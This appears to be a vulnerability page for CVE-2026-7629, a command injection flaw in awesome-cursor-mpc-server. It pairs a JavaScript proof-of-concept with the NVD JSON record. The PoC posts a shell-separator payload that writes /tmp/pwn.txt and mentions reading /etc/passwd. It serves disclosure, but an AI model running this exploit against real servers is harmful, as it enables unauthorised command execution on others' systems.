CVE-2026-7629

// PoC for CVE-2026-7629 Command Injection // Target: kleneway awesome-cursor-mpc-server <= 2.0.1 const axios = require('axios'); async function exploitCommandInjection() { const targetUrl = 'http://target-host:port/api/review'; // Replace with actual endpoint // The payload injects a command separator ';' followed by a system command // Example: Touching a file to prove execution or reading /etc/passwd const maliciousPayload = { "fileName": "test.js", // Injection payload: ; echo 'CVE-2026-7629' > /tmp/pwn.txt # "content": "const x = 1; echo 'CVE-2026-7629' > /tmp/pwn.txt #" }; try { console.log("[+] Sending malicious payload to target..."); const response = await axios.post(targetUrl, maliciousPayload); console.log("[+] Request sent. Check if file /tmp/pwn.txt was created on target."); console.log("[+] Response:", response.data); } catch (error) { console.error("[-] Exploit failed:", error.message); } } exploitCommandInjection();

{"cve": {"id": "CVE-2026-7629", "sourceIdentifier": "[email protected]", "published": "2026-05-02T14:16:17.990", "lastModified": "2026-05-05T20:16:40.213", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in kleneway awesome-cursor-mpc-server up to 2.0.1. Impacted is the function runCodeReviewTool of the file src/tools/codeReview.ts of the component Ccode-Review Tool. Executing a manipulation can lead to command injection. The attack may be launched remotely. The exploit has been published and may be used. The project was informed of the problem early through a pull request but has not reacted yet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://github.com/kleneway/awesome-cursor-mpc-server/", "source": "[email protected]"}, {"url": "https://github.com/kleneway/awesome-cursor-mpc-server/issues/6", "source": "[email protected]"}, {"url": "https://github.com/kleneway/awesome-cursor-mpc-server/pull/14", "source": "[email protected]"}, {"url": "https://github.com/user-attachments/files/26019723/awesome-cursor-mpc-server_bug.pdf", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/806470", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360575", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360575/cti", "source": "[email protected]"}, {"url": "https://github.com/kleneway/awesome-cursor-mpc-server/issues/6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}